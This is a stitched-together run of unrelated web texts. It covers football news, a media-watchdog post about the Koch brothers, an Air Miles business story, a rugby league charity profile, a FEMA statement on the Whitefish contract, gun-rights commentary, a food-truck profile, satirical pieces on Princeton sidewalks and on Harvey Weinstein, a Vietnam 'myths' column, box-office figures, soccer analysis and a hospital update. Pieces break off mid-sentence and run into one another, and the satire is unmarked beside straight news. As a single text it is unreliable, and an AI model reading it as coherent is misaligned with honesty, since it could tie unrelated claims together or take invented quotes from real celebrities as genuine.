Monk, 34, joined Swansea in 2004 on a free transfer from Barnsley. He led the side to promotion from the Championship three years ago but has made only one appearance for the club this season, in the Capital One Cup defeat at Birmingham City.Following a New Yorker article that reported on David and Charles Koch's funding of "stealth attacks" on the Obama administration, right-wing media, including recipients of the Kochs' largess, have rushed to defend the Kochs.
Right-wing media rush to Kochs' defense following New Yorker article
Wash. Examiner's Hemingway -- who has been funded by Koch -- calls article a "shameful attack" on Kochs. In an August 24 post, The Washington Examiner's Mark Hemingway wrote that The New Yorker article was a "shameful attack," "sensationalist," and "laden with bias an [sic] distasteful innuendo." In his post, Hemingway also noted:
In the interest of disclosure, I should note that for the past few summers I have mentored young journalists as part of a program funded by the Koch family. I have been paid a largely inconsequential honorarium for my significant investment of time. I can honestly say that I wouldn't do this if I didn't believe in the program, and as for the Koch brothers' supposedly covert war, I will note that if I had any doubt about who I was working for, the program is called the Charles G. Koch Summer Fellow Program.
Erickson: New Yorker article part of a "coordinated character assassination against Koch Industries and the Koch brothers." In an August 23 post, RedState editor-in-chief Erick Erickson wrote that the article "is a coordinated character assassination against Koch Industries and the Koch brothers for daring to use their money to prevent the destruction of the American economy at the hand of a bunch of effete socialists in the White House." Erickson further wrote:
When Darryl Issa takes over as Chairman of the Committee on Oversight and Government Reform in the House of Representatives, this will be one more thing he will need to investigate. It is way too convenient to be coincidental that Mr. Obama attacks Americans for Prosperity and, within days, the broadside is extended not just by left wing groups, but allegedly objective journalists.
American Spectator calls article a "violent assault on the Koch brothers." An August 23 American Spectator post called The New Yorker article a "violent assault on the Koch brothers" and stated that the article "paints an [sic] grim portrait of the Koch brothers without actually reporting anything objectionable that they might have done."
NewsBusters: Article a "hit piece." In an August 23 post, NewsBusters' P.J. Gladnick called The New Yorker article on the Kochs a "hit piece" that "demoniz[ed]" the Kochs for the "thought crime of supporting conservative causes."
Kochs have founded, funded numerous right-wing organizations
Koch brothers founded Cato, Citizens for a Sound Economy. Media Matters Action Network has noted that Charles Koch assisted in founding the Cato Institute, while David Koch co-founded Citizens for a Sound Economy, which is now known as FreedomWorks.
Koch foundations fund numerous right-wing organizations. Media Matters Action Network has further noted that the Koch foundations -- which include the Charles G. Koch Foundation, the David H. Koch Charitable Foundation, and the Claude R. Lambe Charitable Foundation -- "make substantial annual contributions to these organizations (more than $12 million to each between 1985 and 2002), as well as to other influential conservative think tanks, advocacy groups, media organizations, academic institutes, and legal organizations, thus participating in every level of the policy process."
Think Progress: Kochs "are the wealthiest, and perhaps most effective, opponents of President Obama's progressive agenda." In December 2009, Think Progress reported that "David and Charles Koch are the wealthiest, and perhaps most effective, opponents of President Obama's progressive agenda. They have been looming in the background of every major domestic policy dispute this year." Think Progress further noted:In August, Jas Brar and his team at Entripy Custom Clothing, an Oakville, Ont. company that provides embroidery and screenprinting, inked a new partnership with Air Miles that they hoped would help set the company apart from its competitors. But the timing couldn't have been worse.
As Entripy launched its marketing campaign this fall, Air Miles collectors across the country began lashing out against the loyalty program on social media, complaining about a policy that would have seen miles five years or older expire.
"We're here with staff all excited about the fact we're now offering Air Miles and meanwhile our customers are reading in the paper that Air Miles is about to screw everybody," says Mr. Brar, founder and CEO. "It definitely put a damper on things."
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In recent years, Air Miles has attempted to persuade small and mid-sized businesses across Canada to offer Air Miles to their customers. These businesses don't have to sign up as official partners. Instead they buy Air Miles on a promotional basis and then give them away to their customers as gifts or incentives or tie them into a promotion for their business.
But the program isn't cheap, and many small- and medium-sized businesses were dismayed to find storm clouds brewing over Air Miles' announcement earlier in 2016 that customers must use up their miles or see them expire in five years. Although collectors initially paid scant attention, as the deadline loomed they grew increasingly irate. On Dec. 1, LoyaltyOne, the company that runs Air Miles, announced it would reverse its decision.
Read more: Air Miles is facing fresh backlash after its decision
Rob Carrick: Air Miles reversal is a bogus victory
Mr. Brar says he originally signed on to offer Air Miles because it allowed business owners, who are one of his primary customer groups, to be rewarded for their purchases with points. Ordering $500 to $1,000 worth of custom T-shirts, hats or aprons "can get you a lot of points fairly quickly, as opposed to trying to get them $10 at a time at the grocery store," he says.
He was attracted to Air Miles by its long track record and national reach, with about 11 million users across Canada. "That's important to us because we ship coast to coast," Mr. Brar says. "It seemed like a good fit because so many households in the country were already using an Air Miles card."
But although the reaction from Mr. Brar's customers wasn't aggressively negative, he says, "we'd get these quasi-sarcastic comments like, 'Wow, you're offering Air Miles – great! We'll just add these up and they'll be taken away in a few months anyway.'"
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The issue he heard about most from customers? It took forever to get through to the call centre to redeem points. "I think it was the panic to redeem that was the bigger concern," he says.
On the plus side, clients were still eager to hand over their collector numbers. "Collectors who recognized that Air Miles logo were very quick to start submitting their Air Miles numbers with us," Mr. Brar says. "We haven't done a full quantitative report, but at first glance I'd say about two-thirds of transactions have some kind of Air Miles component to them."
Chris Warwaruk, co-owner of craft brewer Farmery Estate Brewery in Neepawa, Manitoba, is hoping there won't be any residual bitterness on the part of his clients over the controversy. "We made the commitment [to offer Air Miles] a couple of months ago," he says. "And to be honest, I was completely in the dark – I didn't even realize there was this controversy in the background."
For his company, which currently sells its craft beer in Manitoba and Saskatchewan, Air Miles represented a significant marketing investment, he says. "Companies like ours actually pre-buy the Air Miles," Mr. Warwaruk says. His company paid 39 cents per mile, with a minimum purchase of seven per case of beer. "That means I'm paying Air Miles $2.80 on each case to purchase Air Miles and give them to the consumer," Mr. Warwaruk says.
In a strange twist of fate, Farmery Estates' Air Miles offering went live the same day Air Miles announced the deadline to use up points would be eliminated. "We took a breath of relief," Mr. Warwaruk says. He hopes the "any publicity is good publicity" principle will apply. "Having Air Miles in the news and on everyone's lips might not hurt now that the controversy has been ironed out," he says.
However, some Air Miles collectors remain angry, including some who rushed to redeem their points before the reversal was announced. A class action lawsuit is also in the works. Mr. Warwaruk says he'll be better able to evaluate his Air Miles partnership in the weeks to come.
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"We're taking the plunge and investing our money in this program and we expect to have a good bang for our buck. If we don't see a big bump in sales then it's going to be a very easy decision to go with a different option in future."HE’S the game’s best player but he’s also one of the most giving.
Johnathan Thurston’s on-field heroics are regularly applauded but off the field he’s equally as impressive.
His willingness to give is often caught at the end of the television broadcast.
Donating signed kicking tees and his head gear to young fans in the crowd after just about every half of football he plays, there’s no denying the champion No.7 is a champion bloke.
But this story from Mark Hughes just about tops the lot.
With round 11 doubling as ‘Beanies for Brain Cancer’ round, Newcastle great Hughes joined Sterlo On The Couch to share his battle with the disease and the incredibly generous acts from league players both past and present who are helping raise funds and awareness.
DONATE TO THE MARK HUGHES FOUNDATION OR BUY A BEANIE BY CLICKING HERE
While there are several high profile people assisting the two-time premiership winning centre with his Mark Hughes Foundation, there’s none bigger than the North Queensland superstar simply known as JT.
“I was on this show a couple of years ago and I think JT was watching and decided from there he wanted to get our beanies and wear it for us,” Hughes said of Thurston’s involvement.
Kangaroos coach Mal Meninga and Johnathan Thurston after the Trans Tasman Test at Hunter Stadium. Source: Getty Images
“He’s been amazing. He took us to the Australia game in Newcastle last year and after the game he got us into the sheds and he gave the kids his head gear and he gave me the jersey off his back and said ‘use it for the charity’, which is amazing.”
“But then he took it back off me and said I’m going to wash it for you. He took it all the way home, washed it, signed it and sent it. Things like that are amazing.”
Ben Ikin, Nathan Ryan and Ben Glover are joined by Titans COO Tony Mestrov to discuss the futures of Jarryd Hayne and Ash Taylor.
You can also subscribe via iTunes or for Android users, listen on the iPP Podcast Player app.
The gesture from Thurston left a lasting impression on Hughes but it’s not just the Australian star who has been so giving.
Many of Hughes’ former Knights teammates have given up much of their time to help him out.
From Paul Harragon’s ‘I’m A Celebrity... Get Me Out Of Here!’ appearance with the MHF his chosen charity, to friends taking turns driving him from Newcastle to the Central Coast where he was heaving chemotherapy.
Andrew Johns and Mark Hughes wearing Beanies for The Mark Hughes Foundation. Source: News Corp Australia
“It was awesome to get one-on-one and chat with them,” Hughes said of his car rides.
“It was 33 sessions of radiation so it was 33 lunches I shouted at the Twin servos. It was starting to come a bit costly. The other funny thing about it was I would let the boys drive my car.
“A few months later I got a letter from the RTA that I lose a point for speeding and a fine.
“I was thinking what do I do? I never told anyone who that was and I don’t think Adam Muir would appreciate me telling it was him, so I won’t.
Live stream the 2017 NRL Telstra Premiership on FOX SPORTS. Get your free 2-week FOXTEL PLAY trial and start watching in minutes. SIGN UP NOW!
“I had wonderful support and it was great catching up with everyone.”
Hughes has scans every four months as “things can change very quickly” but his last scans presented clear.
A veteran of more than 150 first grade games for the Knights, two premiership rings and three Origins for NSW, Hughes had an incredibly successful career.
Mark Hughes in action with the Knights in 1998. Source: News Corp Australia
After retiring at the end of 2006 following a stint in the Super League with Catalans, Hughes started a commercial cleaning business as he transitioned into life after football.
But in 2013 the Kurri Kurri product started suffering headaches for days at a time.
Everything changed after that.
“We decided to go to the doctors one afternoon. He rushed me in for a scan and from there my world got turned upside down,” Hughes said.
“The scans showed an irregularity in my brain. They weren’t sure if I’d had some kind of a stroke.
“I had to wait three or four weeks, re-scanned and then it was confirmed it was a tumour. I was rushed straight to surgery. Life changed from there.”
From signing his first contract as a scrawny teenager for $5000 to having a great career, wife and three children, Hughes has had an incredible journey.
Mark Hughes waves to the crowd. Source: News Corp Australia
With his time spent raising funds for brain cancer, Hughes admits the way he views the world now has also changed.
He lives life with a simple outlook and one we can all take a great message from.
“I don’t think too far ahead,” he said.
“I try and live for the now and appreciate everything I’ve got now. You’re often guilty of sweating the little things in life. I’m still human and they get on top of me at times but I’m trying not to.
“I’m just grateful I’m still here and making a difference. I’m going to do something special.
“Chief (Paul Harragon) said to me ‘you’re up for something special here’ and they’re words that ring in my ears.”The decision to award a contract to Whitefish Energy was made exclusively by PREPA. FEMA was not involved in the selection. Questions regarding the awarding of the contract should be directed to PREPA.
Any language in any contract between PREPA and Whitefish that states FEMA approved that contract is inaccurate.
FEMA has not provided any reimbursement to Puerto Rico to date for the PREPA contract with Whitefish Energy. Regardless, FEMA will verify that the applicant (in this case PREPA) has, in fact, followed applicable regulations to ensure that federal money is properly spent.
Based on initial review and information from PREPA, FEMA has significant concerns with how PREPA procured this contract and has not confirmed whether the contract prices are reasonable. FEMA is presently engaged with PREPA and its legal counsel to obtain information about the contract and contracting process, including how the contract was procured and how PREPA determined the contract prices were reasonable.
It is important for all applicants for FEMA Public Assistance to understand and abide by federal requirements for grantee procurement. Applicants who fail to abide by these requirements risk not being reimbursed by FEMA for their disaster costs.
FEMA continues to focus on the expedited restoration of essential services in support of the Governor’s recovery goals.
###
FEMA's mission is to support our citizens and first responders to ensure that as a nation we work together to build, sustain and improve our capability to prepare for, protect against, respond to, recover from and mitigate all hazards.
Follow FEMA online at www.fema.gov/blog, www.twitter.com/fema, www.twitter.com/femaspox, www.facebook.com/fema and www.youtube.com/fema. Also, follow Administrator Brock Long’s activities at www.twitter.com/fema_brock.
The social media links provided are for reference only. FEMA does not endorse any non-government websites, companies or applications.With Jon Stewart off the air, it seems the left has found a new progressive comedian it can look to for all the big cultural and public policy debates.
After spending September lobbying on air to keep Obamacare, Jimmy Kimmel went on a rant this week on the “Jimmy Kimmel Live!” TV show about the horrific mass shooting that took place in Las Vegas on Sunday. He made a fairly sweeping attack on widespread gun ownership in America and generally suggested that gun control will fix the problem of gun violence.
There is more we can do, and we need to do it. Love to my hometown. #VegasStrong pic.twitter.com/eOQPUCYziY — Jimmy Kimmel (@jimmykimmel) October 3, 2017
Statistics show gun control has little impact on decreasing crime and violence, but Kimmel chose to make his case by making jokes, saying “our forefathers wanted us to have AK-47s is the argument, I assume.”
Kimmel is suggesting that the Founders didn’t understand modern technology, and therefore, arguments about why they set out to defend gun rights in the Bill of Rights don’t apply to today.
That is, of course, a straw man argument.
The Founders did not design the Constitution so that it would only be applicable in their own day. The rights they aimed to protect weren’t tied to a specific time or era, but were timeless and universal.
A ‘Primary Law of Nature’
The Second Amendment was not made up out of thin air. The Founders saw it as a legal expression of a citizen’s natural right to self-defense and preservation, and his ability to resist governmental tyranny.
William Blackstone, a legal theorist who had an enormous influence on the Founders, wrote, “Self-defense … as it is justly called the primary law of nature, so it is not, neither can it be in fact, taken away by the law of society.”
Self-defense is among the “God-given rights” that the Declaration of Independence refers to.
These principles are grounded in Western tradition and are at the cornerstone of our civilization—though they are increasingly dismissed as radical and “fundamentalist” by some in the modern media.
If one believes “rights” come from government, not God or nature, it is easy to see why those like Kimmel believe this ever-evolving set of rights simply needs to be legally updated from time to time.
But this is not how the Founders thought, nor is it what they conceived when they decided to protect the blessings of liberty for themselves or their posterity.
While the right to self-defense and the Second Amendment were eroded in the 20th century, new scholarship has recovered the Founders’ ideas. As George Mason University professor Nelson Lund wrote for The Heritage Foundation:
… Commentators sought to establish that the Constitution does protect an individual right to have weapons for self-defense, including defense against criminal violence that the government cannot or will not prevent.
This logic of self-defense has been at the heart of recent Supreme Court rulings that have sided with the right to bear arms.
>>> Read The Heritage Foundation Report: The Second Amendment and the Inalienable Right to Self-Defense
Though many Americans believe these rights are inviolable, the challenge still remains: Should we ignore the Founders, or perhaps even the idea of natural rights, simply because technology has changed so radically?
The Founders and AK-47s
In Federalist 46, James Madison (not Alexander Hamilton, as this post first said) explained why the right to bear arms was so fundamental to preserving American liberty.
In Europe, governments typically didn’t “trust the people with arms.” However, their history was filled with examples of leaders and governments trampling on the rights of the people with impunity.
This is what the Founders desperately wanted to avoid.
An armed populace, the “militia” that the Second Amendment refers to, is an additional check on the power of government—a last resort for those who may be oppressed.
Madison made this argument in an era when the kind of weaponry available to citizens was in even closer parity to what was available to militaries and governments.
As National Review’s David French perfectly wrote:
The musket was the principal weapon of armed conflict in the 18th century. An American leaving his home with a musket was on par with a member of the Continental Line. Not so with an American who possesses any number of AR-15s or AK-47s. The contemporary gap between civilians and the military is vast and growing.
The advancement of weapon technology would not likely have surprised the Founders, who after all lived in an era of remarkable innovation. What would shock them is that government would have become so powerful and capable of depriving people of their liberty in the blink of an eye.
This is exactly what gun rights advocates fear and what they believe is behind the gun control movement.
Neither Safe, Nor Free
The facts of the Las Vegas massacre are still muddy, but it’s clear the shooter was not stopped by current gun laws heavily restricting automatic weapons—which he may have used—nor would proposed “common sense” laws like cracking down on suppressors have made a difference.
While gun control activists jump on every shooting incident to push their agenda, the facts and opinions of the American people remain hardened against them.
When the American people, for instance, heard former President Barack Obama praise Australia’s gun control laws, this led to the logical conclusion that the real end goal is confiscation.
After a mass shooting in 1996, Australia implemented widespread gun control and confiscation measures. The number of guns taken in these mandatory “buyback” programs is estimated to be around 650,000 to a million.
To create a similar policy to Australia, the U.S. government would have to pluck over 100 million firearms from American citizens.
In some ways, Australia-style confiscation is the only logical place for the gun control argument to end if the idea is to make sure nobody ever dies from firearm usage. That goal is folly.
It must be noted that in order to sweep in and confiscate weapons en masse, the government would be taking on precisely the kind of power the Founders feared and wanted to protect themselves and future generations against.
Statistics on guns and gun crime have demonstrated very little to show for gun control laws. And Americans are simply unwilling to surrender their God-given rights based on dubious claims that the government can make us perfectly safe from evil-doers.
In the end, large numbers of Americans believe increasingly stringent gun laws will make us neither safe nor free.
So while those on the left, like Kimmel, make passionate pleas for this country to “do something,” like pass gun control to stop violence, few besides the already-converted are going to buy it.By Tiffany Ran
NORTHWEST ASIAN WEEKLY
Suriya Yunosov and her family have long enjoyed samsa, filled puff pastry hand pies that can be savory or sweet, which Yunosov makes based on a family recipe. She was surprised to see that Uzbek food had not made a significant dent in the Northwest the way it has in New York City. Yunosov is the owner of Tabassum, a unique food truck offering an Uzbek menu based on these hand pies.
Through Tabassum, Yunosov brings her take on samsa to the Northwest. The samsa is a popular pastry throughout Central Asia with influences dating back to the Silk Road. Uzbekistan’s unique location between the Caspian Sea, China, and Russia is reflected in the cuisine’s diverse influences and relatability. Recently, the New York Times introduced New York-based Uzbek restaurant Café Lily, where chef Lilia Tyan brings Korean-Uzbek flavors. Tyan grew up in Uzbekistan’s capital Tashkent. Tyan’s ancestors fled Korea in the mid-19th century to settle east of the Russian empire. At Lily, the kimchee is more mild and eaten alongside a rich array of manti, giant dumplings, and other dishes. Their sweet and tangy carrot strands is a unique take on a common Uzbek salad.
The ubiquitous samsa, as it’s known in Uzbekistan, is also identified as sambosa in Afghanistan, samosa in India, an sambusa in Iran. Tabassum’s variations include traditional butternut squash samsa with garlic and cumin, and a halal beef samsa with onion and cumin.
“Every family has their own distinct take on a samsa recipe,” said Yunosov. “My parents were from Northwestern China. My mom taught me her recipe, which in turn was her mother’s. But that said, I love to make the samsa my own way, which always makes my mom roll her eyes a bit.”
Through Tabassum, Yunosov also introduced untraditional spanakopita and chicken curry samsas, the kinds of flavors that would make her mother roll her eyes, but they are flavors she hopes would make people smile. Tabassum, she explained, is the Uzbek word for smile.
Yunosov’s shredded carrot salad is a version of a classic Uzbek carrot salad dressed in a zingy vinegar dressing. She also offers a beet salad to have with samsa. These items are popular street food in Central Asia and when the decision came to open a samsa business, a food truck seemed like a natural direction to go. Tabassum food truck serves office workers, but Yunosov has brought samsa to all kinds of audiences.
“It is such fun to be able to serve different crowds with a truck. We can roll up just about anywhere. So far, we’ve served everyone from a bunch of brave swimmers who dove into the freezing cold waters of Puget Sound at Golden Gardens in January, to true beer connoisseurs at local breweries Triplehorn and Ravenna Brewing,” said Yunosov.
Yunosov is very proud of her new addition to the menu, a cherry samsa enriched with a poppy seed paste and sweetened with honey. Tabassum plans to offer new menu items including plov, a rice and garbanzo bean dish with a touch of cumin and a sweet touch of raisins topped with halal beef. It’s a dish that’s served at every Uzbek family party, and one she is excited to bring to the food truck aptly named “Smile.”
Tabassum will be at the Mobile Food Rodeo in Fremont on May 7 from 10 a.m. – 5 p.m. For other locations and times, visit tabassum.info.
Tiffany Ran can be reached at info@nwasianweekly.com.[youtube=http://www.youtube.com/watch?v=59IK28ry9eQ]
From some wonderful students at Princeton:
CAMPAIGN TO REMOVE FRESHMEN FROM SIDEWALKS IN SECOND SUCCESSFUL WEEK
11/24/08–Princeton, NJ
A group of students at Princeton University would like to eliminate the right of freshmen to walk on campus sidewalks. Stating that they would like to “preserve traditional sidewalk values” that define a sidewalk as a “pathway for sophomores, juniors, seniors, graduate students, faculty, staff, and other members of the university community,” the group, which is acting in support of a measure termed “Princeton Proposition 8,” is now entering its second successful week of demonstration.
The students emphasize that they are not “froshophobic” and that some of their best friends are freshmen, but they maintain that freshmen on the sidewalk degrade the sacred institution of sidewalks, and jeopardize the validity of upperclassmen’s own perambulation. It also makes some of them uncomfortable. They are very excited that California’s Proposition 8 has set a clear precedent for a majority to eliminate a minority group’s civil rights, and they see it as a perfect opportunity to utilize this development for their own gain.
The demonstration, which has featured signs, chants, and original music, has collected almost 500 signatures for a petition in support of Princeton Proposition 8, including those of many professors and even University President Shirley M. Tilghman. A video report of the protest produced by the University’s ‘Daily Princetonian’ has received 21,000 views on YouTube in just two days. It has also been featured on dozens of regional and national blogs including Campus Progress Action’s Pushback, DailyKos, and Andrew Sullivan’s Daily Dish. The organizers of the demonstration have also begun outreach to other universities.
The demonstration will continue at the plaza in front of Firestone Library on the Princeton campus between 9:30 a.m. and 5:00 p.m. on Monday 11/24 and Tuesday 11/25.
The Princeton Proposition 8 campaign aims to secure the definition of Princeton University sidewalks as a means of pedestrian transit for sophomores, juniors, seniors, graduate students, faculty, staff, and other members of the university community, but supports the elimination of the right of freshmen to walk on sidewalks.
Only walking on sidewalks by sophomores, juniors, and senior students is valid or recognized at Princeton.
###
Contact: Christopher Simpson
[email protected]HOLLYWOOD – Showing the fortitude the entertainment industry is known for, numerous actors have come forward to condemn accused sexual predator Harvey Weinstein now that he has no power to stop them from getting roles or hurt their bank account in any way.
“I was absolutely horrified by Harvey’s actions,” said George Clooney. “And I knew I had to publicly disavow him as soon as he was fired from his production company.”
“I want everyone to know I believe and support women who come forward to report sexual assault in strong enough numbers to create the circumstances where I had to back them or risk damage to my own reputation.”
Numerous celebrities have claimed that they only worked with Weinstein for so many years because they didn’t know about the allegations that have been publicly referenced and mocked at awards show since 2011. Others, like Matt Damon, have blamed the media for failing to report the story they did their best to suppress.
A number have admitted to hearing something but not knowing all the details. Glenn Close stated
“Sure I had heard rumours. But I thought it was just another of those situations where allegations of sexual misconduct hover around a powerful, wealthy man for years and then turn out to be nothing.”
At press time Woody Allen, Roman Polanski and Casey Affleck had yet to release a statement for some reason[NB: I guess you might call this a companion piece to my February post, 'Why I Write...'].
The immediate & obvious answer, as with most things in life, is ‘What else would I bloody do…?!‘ But I have to admit, I’m an autodidact – always have been, always will be, ever since childhood – which unfortunately made organized education increasingly intolerable** the older I got. However, when it comes to investing, the odds are stacked in my favour – organized education doesn’t offer you a hope in hell of becoming a good, let alone a great, investor. As people often notice with regard to MBAs… [Again, I can't resist this classic!].
[** Hopefully, that all changes with the advent of MOOCs, which have the potential to offer interactive autodidactism. But don't believe all the hype - sadly, most people just aren't motivated enough to learn & study alone. In fact, they often have different priorities... Of course, if you're dirt-poor & living in a third world slum, you may be incredibly motivated - I think MOOCs present an amazing business/investment (& charitable) opportunity to bring Western education to emerging & frontier markets. Forget the hollowed-out state of manufacturing...the next generation of US college kids, plus their six-figure student loans, should be bloody terrified of the rest of the world potentially competing on far more equal terms...and far less pay].
Buffett perhaps said it best, as he often does: ‘But ultimately, the key to success is emotional stability. You don’t need a high IQ to get rich‘. He was highlighting EQ, rather than IQ, but also implicit in the quote is that education (at least in the traditional sense) isn’t required to get rich either – this is particularly true when it comes to investing. I scarcely need to |
against U.S. and South Vietnamese forces. The embassy was never occupied, and the Viet Cong attackers were killed. The Tet Offensive's other coordinated attacks by 60,000 enemy troops against South Vietnamese targets were repelled. Don Oberdorfer, writing for Smithsonian Magazine, observed that Tet was a military disaster for the North, yet it was "a battlefield defeat that ultimately yielded victory" for the enemy.
In part, that was because the erroneous reports about the embassy assault were searing and humiliating to Americans, and no subsequent military victories during Tet could dislodge the powerful notion that the war effort was doomed.
Myth No. 5
South Vietnamese soldiers were unwilling and unable to fight.
Some contend that the Army of the Republic of Vietnam (ARVN), the South's army, was not up to the job. Andy Walpole, formerly of Liverpool John Moores University, wrote that "they were [unwilling] to engage in combat with their guerrilla counterparts and were more interested in surviving than winning." Harry F. Noyes, who served in Vietnam, complained about this widespread belief: "Everybody 'knows' they were incompetent, treacherous and cowardly."
But those who fought alongside the ARVN tell a different story. Gen. Barry R. McCaffrey, adviser to the South Vietnamese Airborne Division, bemoaned that "the sacrifice and valor and commitment of the South Vietnamese Army largely disappeared from the American political and media consciousness." He wrote of the tenacious fighting spirit of those troops, particularly at the Battle of Dong Ha, where they were charged with supporting American Marine units. "In combat, the South Vietnamese refused to leave their own dead or wounded troopers on the field or abandon a weapon," he recalled.
South Vietnamese forces also fought off the surprise communist assaults on Saigon and elsewhere during the Tet Offensive of 1968. In August and September of that year, according to Gen. Creighton Abrams, commander of U.S. military operations from 1968 to 1972, "the ARVN killed more enemy than all other allied forces combined... [and] suffered more [killed in action], both actual and on the basis of the ratio of enemy to friendly killed in action," because it received less air and other tactical support than U.S. forces. In March 1972, during the Easter Offensive, South Vietnamese forces, with American air support, also prevailed against a conventional enemy invasion consisting of 20 divisions. And in April 1975, the 18th Division defending Xuan Loc "held off massive attacks by an entire North Vietnamese Army corps," according to one report. In the end, those soldiers had even more at stake than the Americans did.
Five myths is a weekly feature challenging everything you think you know. You can check out previous myths, read more from Outlook or follow our updates on Facebook and Twitter.UPDATE: The dinosaurs are still running wild at the nation’s multiplexes as Universal’“Jurassic World” looks poised to dominate the weekend in its second frame with more than $100 million, according to early Friday estimates.
Meanwhile, Disney-Pixar’s “Inside Out” is looking likely to finish in the $78 million to $82 million range. The studio had indicated in the mid-afternoon that it expected a weekend in the $65 million to $70 million but revised that upward in mid-evening. Disney-Pixar expects the animated pic to gross $29 million to $32 million on Friday.
“Jurassic World” set a U.S. opening weekend record with $208.8 million, then added $87 million in the four weekdays through Thursday to hit $296 million. The thriller may even challenge the second weekend record of $103 million set by “The Avengers” in 2012 — and it will easily top the second-best number of $77.7 million racked up last month by “Avengers: Age of Ultron.”
“Jurassic World” will cross the $300 million mark Friday in its eighth day. That will break the record for quickest to hit the milestone, previously held by “The Avengers,” which needed nine days in 2012.
Related 'Jurassic World: Fallen Kingdom' Team on Expanding the Dino Universe How Production Designers Are Adapting to World of VFX
“Jurassic World,” starring Chris Pratt and Bryce Dallas Howard, also scored the biggest global opening last weekend with $524.4 million.
The dino dominance means “Inside Out” will be the first of the 15 Pixar animated features that won’t finish in first. The 3D computer-animated comedy, directed by Pete Docter, features the voices of Amy Poehler, Phyllis Smith, Bill Hader, Lewis Black and Mindy Kaling as the emotions of an 11-year-old girl.
“Inside Out” posted a solid $3.7 million in Thursday night preview showings — the best for any animated toon from Disney and Pixar.
Open Road’s launch of the comedy-drama “Dope” generated $425,000 in Thursday night showings and is expanding to 2,002 locations. It’s expected to wind up the weekend with about $10 million.
Fox’s third weekend of Melissa McCarthy’s “Spy” will battle “Dope” for the third spot with a decline of about 35%. “Spy” has topped $63 million in its first two weeks.When you are roughly 60 percent through any season, you can clearly see the integral pieces of any team. Specifically, you can see how said pieces have helped throughout the season, and their possible upside to contribute in the future. Unlike other teams however, this is Orlando’s inaugural season. So, we are now at a point where we can really evaluate without being too premature. With that being said, let’s discuss the four most important players for Orlando City Soccer Club, why they are and have been the most important, and why others just arent quite as key for Florida’s fast-growing soccer baby.
4. Kevin Molino
After his season-ending ACL injury, one would think his impact on this season wouldnt last. When you further consider the fact that he only played seven games and wasnt overly impressive in terms of statistics, it doesnt make sense for him to be on this list. However, in those seven games, statistics didnt tell the whole story on the field and certainly not off the field. Could Molino’s presence off the field be any more obvious than when Kaka put on a Molino jersey to celebrate his goal against the Galaxy in May? No it couldnt. Similarly, it was entirely telling when Kaka and Molino played together. They were the major factors for Orlando City in the final third and a majority of the time, were the only factors. They’d combine with exuberance, improvise swiftly, and from time to time completely ignore teammates to work with each other instead. It was a beautiful friendship and one that should pay great dividends once Molino is healthy again. Thankfully for Orlando, others have taken responsibility and stepped up to the plate post-Molino.
3. Kaka
2. “Whoa Austin, way to totally miss Kaka’s paragraph.” Have no fear. It was on purpose. That’s how obviously important Kaka is. He simply needs no introduction. However, you may be surprised he’s placed at third on a ranked list. Soon, you wont be.
2. Aurelien Collin
25th in the league in interceptions with 50 and a 3.8 per game average as well as nine blocked shots and 75 clearances (top 35 in the league in both categories) and his always present over-aggession, Aurelien Collin is the embodiment of a mind game. He’s unpredictable, he’s a leader, and he’s one of the strongest players on Orlando’s roster, physically and mentally.
Orlando City are a side built from the back. With Collin anchoring and co-stars Seb Hines, Sean St Ledger, and Rafael Ramos shining bright, it’s not surprising Orlando have the third fewest goals scored against them in the Eastern Conference at this time. That’s not even beginning to mention the likes of Darwin Ceren, Cristian Higuita, Amobi Okugo, Luke Boden, and Brek Shea who have boosted an already strong defensive unit for the Lions. Then of course, you have Corey Ashe coming in from Houston, who will be yet another quality MLS leftback that Adrian Heath can depend on. Defensively, Orlando will just get better with an average age of 23.6 from the defensive midfield to the back four and defensive depth.
Two great examples of Orlando being an adamant defensive side were the 1-1 draws against San Jose in May and most recently, against Real Salt Lake. Both matches, Orlando suffered a red card in the first 55 minutes, away from home. Even better yet, they were without Collin both times. A question arises here on Collin’s importance because of success regardless of his presence. However, despite not being there, your best centerback is always vital to the success of the team. In training, Collin will push St Ledger and Hines. Off and on the field, he will lead fellow defenders on how to go about being a professional, at 29. While on the field, he will organize, architect, structure, and define how Orlando play football out of the back. Not to mention, he’s carried vital league experience over from his previous MLS side, Sporting Kansas City. Though, there is something or someone even more important than Monsieur Collin. Remember folks, Captain America would be lost without his shield.
1. Darwin Ceren
If you arent familiar with Ceren statistically this season, you’re probably very confused as to why he’s number one here. Again, soon, you wont. Given Orlando’s knack for being a defensive side, their lead defensive midfielder is always going to be key. I’d be surprised if anyone expected Ceren to perform as well as he has so far this season however. The Salvadoran averages 3.8 tackles a game this season and is 8th in the league in tackles won with 46. Not only that but he has completed 88.1% of his passes this season. Which, again, makes him 8th in the league in that category. Taking it even further, he has the highest passing average per game rate at 69.9, in the league. So, he completes the most passes per game while being one of the most successful in the league. One could argue he would be the most successful in the league if it werent for the amount of passes he tries to execute as well.
Surely, Ceren has to be one of the most surprising players of the 2015 MLS season. He’s only 25 as well but plays as if he is years older than that. Considering the promising and talented yet relatively raw Higuita next to him, at 21, it’s been so much more vital to the Orlando City cause that Ceren be on top of his game. He’s smooth, he’s confident, solid, and an absolute professional. Orlando might have the league’s next Osvaldo Alonso on their hands and without him Orlando take a big hit in possession and the defensive side of things.
When everything is said and done there are plenty more players that have contributed and will contribute in degrees for Orlando City. Who’s to gauge a player’s importance in a negative manner? It’s only necessary to bring light to those who definitively deserve it and these four players absolutely do. As for Kaka, there’s no questioning his dedication, performance, or much of anything. It’s only a matter of Collin and Ceren exemplifying exactly what Orlando needs to be the successful defensive unit they are.
(image property of Austin Farrow)Sophia is doing better each day and we are excited at the prospect of her going home on Saturday December 10th 2016. She is really looking forward to hugging her dog Angus.
It's still difficult to control the pain but with long acting morphine and oxycodone it is most often tolerable. She is very brave and I witness that bravery on a daily basis as she goes through all the bandage changes and physical therapy in an effort for her to get strong enough to leave the hospital.
She wants to continue the fight for the indigenous communities and is so very grateful for the outpouring of support from those communities and so many others as well. She has received cards and letters from as far off as Australia and a small island off the coast of British Columbia. There have been prayer groups in different areas of the Country praying for her and sending light and healing energy to her. I am touched everyday by the warmth and generosity of the people of Minnesota. We have doctors in NY waiting to meet with her and plan her next steps and we hope and pray that they will be able to reattach her median nerve and some tendons and get some feeling and function into her arm and hand. Keep up the fight at Standing Rock and keep us in your hearts and prayers. Love and Light Always! - WayneThe rap against Barack Obama, at least on the left, has long been that he’s too cautious, too calculating, too conciliatory. Not a guy willing to take risks.
We can apologize now.
